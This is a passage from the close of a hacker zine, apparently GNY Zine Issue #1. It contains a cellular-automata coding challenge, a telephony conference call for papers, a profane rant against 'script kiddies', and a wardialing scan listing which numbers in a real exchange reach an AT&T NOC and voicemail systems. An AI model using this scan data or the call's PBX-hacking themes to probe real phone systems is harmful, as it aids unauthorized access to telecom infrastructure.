For this programming challenge, we will concern ourselves with elementary cellular automata, one of the simplest classes of cellular automata. Elementary cellular automata are one-dimensional, and cells may assume only one of two states - on (1) or off (0). Each rule is comprised of eight states, which are defined using binary notation (000, 001, 010, 011, 100, 101, 110, 111). There are 256 unique rules. One may determine the ruleset by converting the decimal rule number into binary and matching each digit of the resulting number with its respective state. Take the following as example:
Rule 90
decimal 90 = binary 01011010By assigning each digit of the binary number to a state, starting from the least significant bit, we achieve:
000 = 0
001 = 1
010 = 0
011 = 1
100 = 1
101 = 0
110 = 1
111 = 0Example output of an elementary cellular automaton generated using rule 90 over 16 generations is:
x
x x
x x
x x x x
x x
x x x x
x x x x
x x x x x x x x
x x
x x x x
x x x x
x x x x x x x x
x x x x
x x x x x x x x
x x x x x x x x
x x x x x x x x x x x x x x x xBuilding from the information provided, your task is to continue researching elementary cellular automata and write a program that generates a cellular automaton based upon user input of both rule number and number of generations. However, the output of this system cannot be ASCII or ASCII-like, as shown above. Examples of acceptable solutions include dynamically rendering the system as an image file or as a series of HTML tags that render the system in a web browser. Be creative. :)
Solutions may be written in any programming or scripting language.
Correct, acceptable, and innovative solutions will be published in the next issue of GNY Zine, and their authors will be recognized. Solutions may be submitted by:
- Forum (http://gonullyourself.org/board/)
- IRC (irc.distrust.us #gny)
- Email (zine@gonullyourself.org)
Excellent resources for further information on cellular automata:
http://mathworld.wolfram.com/ElementaryCellularAutomaton.html
http://mathworld.wolfram.com/CellularAutomaton.html
http://en.wikipedia.org/wiki/Elementary_cellular_automaton
http://en.wikipedia.org/wiki/Cellular_automaton
ConfCon 2010 Call for Papers
[ Author: PhreakerD7 ]
Email: phreakerd7@antilimit.net
Website: http://www.antilimit.net/
What is it?
ConfCon is a one-of-a-kind conference call which takes place once a year. We have many talks on a wide variety of telephony-related subjects from numerous people in the scene. In 2009, we had people like Jason Scott (of textfiles.com), df99 (of ProjectMF), Lucky225, Royal, ThoughtPhreaker, RijilV and many more. It was a day of fun, lots of learning, and lots of cool experiences.
Who runs it?
ConfCon is a project run by AntiLimit. At its core, ConfCon was founded by PhreakerD7 and ThoughtPhreaker with lots of help from everyone in the scene (namely, Jason Scott, RijilV, Royal, BitRobber, and df99). Without these people (and many more!!), ConfCon would never have happened. In a sense, ConfCon is run completely by the people, for the people.
How can I help?
Well, based on what was previously said, we need PAPERS! We need submissions on anything telephony related!! If you've just done some cool VoIP hax (Asterisk, FreeSwitch, any of that), or if you've just pwned a PBX, or you've scanned some exchanges and found some interesting numbers, we WANT YOU! Maybe you've got some good SEing tips, some cool tricks for getting around phone things, or just maybe abusing the latest and greatest phone invention? If you're into hacking phones and mobile devices... LET US KNOW!
Anything and everything related to telephony is something we're interested in. All information for submitting papers can be found on: http://ConfCon.org . Please submit something! Without you, ConfCon is nothing..
What are the details on ConfCon 2010?
It's currently scheduled to take place on July 24th (the weekend after HOPE, and the weekend before Defcon) around 3PM PDT (4PM MDT, 5PM CDT, 6PM EDT). If you'd like to participate in the conference (FREE OF CHARGE!!), simply visit the ConfCon.org website, sign up there, and receive your conference number. All you have to do is dial-in, and enjoy! :)
907-887-88xx Scan
[ Author: storm ]
Email: storm@gonullyourself.org
Website: http://gonullyourself.org/
I decided to scan the following range after finding an AT&T Network Operations Center (NOC) on 907-887-8888. The only other number that seems to really stick out is 907-887-8889, which ThoughtPhreaker and I identified as possibly being a Nortel CallPilot system. 907-887-8880 would seem uninteresting elsewhere, but it also does stick out somewhat amongst a sea of Audix boxes.
907-887-8800 - reorder
907-887-8801 - ring out to "It is not necessary to dial a 1..."
907-887-8802 - Audix
907-887-8803 - reorder
907-887-8804 - reoder
907-887-8805 - Audix
907-887-8806 - Audix
907-887-8807 - Audix
907-887-8808 - Audix
907-887-8809 - Audix
907-887-8810 - Audix
907-887-8811 - Audix
907-887-8812 - Audix
907-887-8813 - Audix
907-887-8814 - Audix
907-887-8815 - Audix
907-887-8816 - reorder
907-887-8817 - reorder
907-887-8818 - Audix
907-887-8819 - reorder
907-887-8820 - Audix
907-887-8821 - Audix
907-887-8822 - Audix
907-887-8823 - Audix
907-887-8824 - Audix
907-887-8825 - Audix
907-887-8826 - Audix
907-887-8827 - Audix
907-887-8828 - YCDNGT (092T)
907-887-8829 - reorder
907-887-8830 - Audix
907-887-8831 - reorder
907-887-8832 - reorder
907-887-8833 - reorder
907-887-8834 - reorder
907-887-8835 - reorder
907-887-8836 - reorder
907-887-8837 - YCDNGT (003T)
907-887-8838 - reorder
907-887-8839 - reorder
907-887-8840 - YCDNGT (092T)
907-887-8841 - reorder
907-887-8842 - Audix
907-887-8843 - Audix
907-887-8844 - Audix
907-887-8845 - Audix
907-887-8846 - Audix
907-887-8847 - Audix
907-887-8848 - Audix
907-887-8849 - Audix
907-887-8850 - Audix
907-887-8851 - Audix
907-887-8852 - Audix
907-887-8853 - Audix
907-887-8854 - Audix
907-887-8855 - Audix
907-887-8856 - Audix
907-887-8857 - Audix
907-887-8858 - Audix
907-887-8859 - Audix
907-887-8860 - Audix
907-887-8861 - Audix
907-887-8862 - Audix
907-887-8863 - Audix
907-887-8864 - Audix
907-887-8865 - Audix
907-887-8866 - Audix
907-887-8867 - Audix
907-887-8868 - Audix
907-887-8869 - Audix
907-887-8870 - Audix
907-887-8871 - Audix
907-887-8872 - Audix
907-887-8873 - Audix
907-887-8874 - Audix
907-887-8875 - Audix
907-887-8876 - Audix
907-887-8877 - Audix
907-887-8878 - Audix
907-887-8879 - Audix
907-887-8880 - VMS
907-887-8881 - Audix
907-887-8882 - Audix
907-887-8883 - Audix
907-887-8884 - Audix
907-887-8885 - Audix
907-887-8886 - Audix
907-887-8887 - Audix
907-887-8888 - AT&T NOC
907-887-8889 - "voice item maintenance"
907-887-8890 - Audix
907-887-8891 - Audix
907-887-8892 - Audix
907-887-8893 - Audix
907-887-8894 - Audix
907-887-8895 - Audix
907-887-8896 - Audix
907-887-8897 - Audix
907-887-8898 - Audix
907-887-8899 - Audix
Et Cetera, Etc
[ Author: teh crew ]
Let's get things straight. The word "hacker" is not a name that should be treated or given lightly. The concept of hacking has been bastardized so severely over the years that it's near impossible to even find a kid in this shitpile of a "scene" who knows the true definition. No longer are learning or exploration at the forefront of one's mind. Priorities have been shuffled. Individuals are now judged based upon how many boxes they have rooted, how large of a DDoS they can push, or how quickly they can pull personal information on others. Curiosity has been replaced with egotism, and the true meaning of hacking has been lost in the process.
We like to call these individuals "script kiddies" - the cancer of the hacking scene. These half-retarded morons are everywhere, flaunting their e-dicks as proudly as possible, just begging for attention. Everyone is suddenly an expert, and every 14-year-old now claims to be the elitest fucker on the Internet. Closing their minds to everything that is unimportant in their quest to command respect from other morons, script kiddies have a single goal: to climb the digital social ladder as quickly as possible. Humility is a rare occurrence in an environment saturated with such cluelessness and ignorance.
Logic that associates behavior like this with the true meaning of hacking is about as fucked up as your mother is a sleazy crackwhore. Hacking is about a love for technology and an unquenchable thirst for analyzing, breaking, and rebuilding it. Hackers are driven by passion, not by personal gain. It's about time for this new generation to realize that.
Such a mindset may open doors and present entirely new opportunities for hackers to experience technology and learn in the process. There is more to hacking than simply web-based exploits and buffer overflows. Take some time to learn about reverse engineering and how binaries are actually executed by the machine. Assembly programming is a powerful skill. Pick up your telephone - have you ever thought about how your calls are actually routed from origin to termination? The PSTN (Public Switched Telephone Network) is the largest and most robust human network in the world, second only to the Internet itself. Radio junkies have been owning the airwaves and innovating new methods of efficient wireless transmission for almost a century, giving birth to the hacker community and culture itself. A boring summer may be replaced with becoming licensed as a ham radio operator.
Passion is not something that can be taught by a teacher or an essay - it must be realized, and once it is realized, it must be embraced. Embrace it by any means necessary. Research new technologies and play around with them in unconventional manners. Learn new concepts and expand your interests by reading online publications such as Phrack or venturing to Borders and picking up a copy of 2600. Meet other hackers and exchange knowledge and experiences by attending conferences or local meet-ups (or start your own!). And most importantly, have fun while doing it.
Hopefully, such a mindset is adopted by more in this new generation of hackers. For those who have completely missed the ball, however, we can only hope that this little rant has sparked a change. With the recent disintegration of many prominent script kiddies communities within just the past few years, perhaps we're onto something.
THE TREE OF FALLEN SKIDS
------------------------
Let us pay our respects, or something.
.. ............ ...........7DNMM7?NOD?,7O?.,.,...,......:,........... ...
. ...... ........,...+NDNO?D+7?I=?I?7$Z=++......,=.~8ONZ~D+,..,..... ...
.... .............ON=I$?++?I???+=??+??++?M~,$ZD~OO=+?=?7OMI?ZZ... ...
............,Z??++?+=+==++?+I++?++???+7N=I7++I=O?Z$I++??78.,... ...
. , .......=M+??+========++????+???+=7$+=~==+=+??+$???+I7+=..,...... ..
... ....:.+=8+~+M87+++~++????++??+OZ7$?I?$+++=+++=+++??++???++?I?+O,..........
.......:ZD=87=~O7=NI++++???++??+??I???=?$?+87I???+?+??++????+++=+==?==..........
......~++?I?+==+?+?+=+??????????+??=?+?+?=$7??+?++??++??+?+?????+=I+O..,........
.....ID?++~~======+++++????????========+++I+OI??=77=O uNkn0wn ==+I$.,.,.......
....?$=+=~+++++++++++??????????++?++++===+????8I?Z?++?$$????????+=?78=...,......
....:M7+=?++????????????????????????+??+=+=?+7$7II?++?+8??????+?+?=?++D.......
,...+M7~=??=???? h4cky0u ??????++??+??++~?+++Z77III??+???????+?=?++IZ......
...,ID?+++??????????????????????????????==+I?++78I7?7777I?+?+?=???+?O~.....
....Z8I+??++????????????????????????????++?+??I87III??+=ZZZOZ$7?=?=?O......
....=M$+????+++??????????? darkc0de ???????+?IZIODI?I+?++???D$Z+=O+. ....
.....,M??++++++???????????????????????????+III7O+I?7$===+===+++??OM7~.......
......=7+$?????==I?=I++??++????+???????IIIII77II=+==++++++???+==+??=?.........
..... ..ZN$NI7+?+?DZ$=$7$7777+?+??++??II7ZZIII7?+?++++??I+I$77+++?+?N,.......
.... ....+ND7M+?OI7Z?=?8III7777IIIII7$Z8OOIOON=7+?????+++?~+8OZ+++=?8,,.. ..
... ...O8Z$+++I7I$77+INO?O8ZO$$II7ZO$I7$$OOOO8$=I????????==++7O+?++?+D$$,......
......$I7?++?+?+?+?II?I$?DZ$+IZZO$7DZ$IOOZ$Z$Z8=???????+++??+++$I?+???7I+M+.....
....ON?=~=?++++?+?++II?7+O+?+I8ZZ7$Z7DIZZ7$$$O?I?????++?????+????+??+?7?+8O?...
...ONZ=+==????+????+?+?7I+O?+??OI$8IOZZ+$$$Z$$D7?+??? h4ck-y0u ?+??+7D??==N:..
..++=?++??+?+$$$??+??+II?$=I$??II?+ZZI7I$7Z$$Z87I?++++?????+??????????7O+=++O8,.
:8N7+==+??OOZI?II???+II77$I++$ZIZI?+I+++?7$Z$ZO$I?++??++??+?7?++I?+???8Z++?==I8.
Z8==+=???+Z=?+++?I?+?7$7$DO8Z=??DI=+877$ZZZ$$78I??7II???+Z7I+I?+?++???D$7+=~7M~.
DDI???????OI+ BHF =OO?8OZZ7$ZI+I??7I?OOZ787$II8O$I777?+I=~?ZI???I7?IIII++=??N~
O++I+O7+???8?+??????OZ7D$ZZ$7$O7O+I?++?O$?I8$$$I7ZOO8?II?I+=?8??+++$8IIII+==??N~
MZ+?7$+?+??Z$ZI+??I?II8+IO$7$OIZ$Z?II=ZD$?7Z8Z$7?O$8OIO?II??+Z+??++OZI77???++$D.
N++?+7$??+?+?=++?+I7I?8OZ$I?OII$$7O++=I7II8$$8D$IO?7ZO777$IOI7???ZZ$7III?+==++M~
?8M=+Z??????++???I78+8OZZ78Z?I7$ZZ8O+=???777$8?7++OZ$$O$~+=?~88Z8$7$DI7II?++?ID~
.:MI++7?++?++?+?I8$7Z8ZO8I7Z7?+88OZZI7?I?I787III+ZZZI$7?++++==+IZ$7OIIII++?++??N
...D~+7?I?+??=???DO88$$ZD?7?I$??OO?I7$???$?++??7I$77$OI+??$OO=+=+$8$I77I??++NNM=
...?Z$D++???I??+?=7+?+II7I?I7$8+??I7IZ?+?$?++7??7$$I7OOII++?+$7+?+?+OII7???IM~..
......+DDM+?O+?$NO+++????+I?8OOD??II?$7+I+Z?$$7O888O8DO78OI+?Z????=I+7II+?+?....
. ...,.Z8DDN8DN+I??+?Z?IDO$$$O7I=?=Z????+?==$Z$7$7Z$ZZIIIO?++7?Z+++I???7?7.,..
....,.......,??DID8$O8$$$77?O7$I??I+I~?+?+??Z$$$IO$O$8$8ZI?+?8+?8+?OID+:....
. .......,......,.ON8OI?$8O777I?=++=Z++?8?I$OO77II77ZZI7=I=?M?MMI:.......
... ........... ..,.....+$MZI$D7$7IO=Z+=?II?8$O+??I7DDZ+O$$DMD$+.., .. ..
.. ........................~~8MZ7?IO?8?+III?III?=IN,....... , .... . .....
.. ..........88II7O?O++$I$III?D7...........
............ZN+?ZZ?$+?ZIOZI78,............
.............$N+I8$?I?IZI$O$OZ............
..... ........$D+78$+?II7?777D:............
.. ........ .......OO?OZ7?II?I7$$87. . .........
........ ......,N7?O$7I$II7$Z$O,.................
....... . .. .7D?78$IIZIII7$7+.....................
..... ... .... .NIIIZ7??ZI?I?8I8.....................
. ....... . ........ O??I7OII?ZI?I?8IN~.....,..............
....... ... ..... ...........Z?I7Z$?I?I$I7I$O$O... ...........................
....... ... ... . ...........$?77O$????$I8+?$7Z?......... ... ...........
....... ... .. . .......,.,+M$Z7ZI I+Z $=+Z$8:........ ... ...........
. , ,............ ,,.,....:8ZIO$D+ ?=??7ON7............ .............
. , ,.............,, ...,,N+I$ID++I n0ths I?7$I?++?IO+......,.,. ., ... ..,...
. , ,........... ..,. .:8Z+I$OZ$?=I? 7$7?Z?I??7??M.... ..,. ., ... ,.....
. , ,............,...=OZ?I?7$8++=???I 7$8I77ZII?I?I7+O~,..... ... , . , ....
............,..,.,..:NZI=?=?787=?+?I???I++?IO7$$7ZI??I+IIN,....,. .............
....... ...,...:78$?I?I?II$7$+I?I7$OOI7?=??IZDDNN7$$II?I7.,..,....,............
.... . .....=8OI+I+I$ONNDOID+II??NNNDZ77Z$I++II8$,=ZN?I?+8?~.. . . ..........
. . .. .N8ONN87=,......:MII7ID+...=$MOZ7$ZZ????N=.DN7?+?+$ODO. .. . .. ...
..............,ODII??D7.........:,..$M8??7Z..+78ZI~~~: . .
.............D+I8NNO...............,..,+ON.,... .. ...
...........,?8D~,... .,... |\ _,,,---,,_
0 it's a kitty! /.`.-'`' -. ;-;;,_
+ |.3- ) )-,_..;\ ( `'-'
'---''(_/--' `-'\_)Thanks to ElectRo` for that lovely ASCII art. Anyways, it's probably about time we wrapped this up.
So, this is the end of GNY Zine, Issue #1. Hope you enjoyed it, and if you want to drop us a line, our contact information is in the intro. May your hax be plentiful and full of fish.
<3, the gny crew
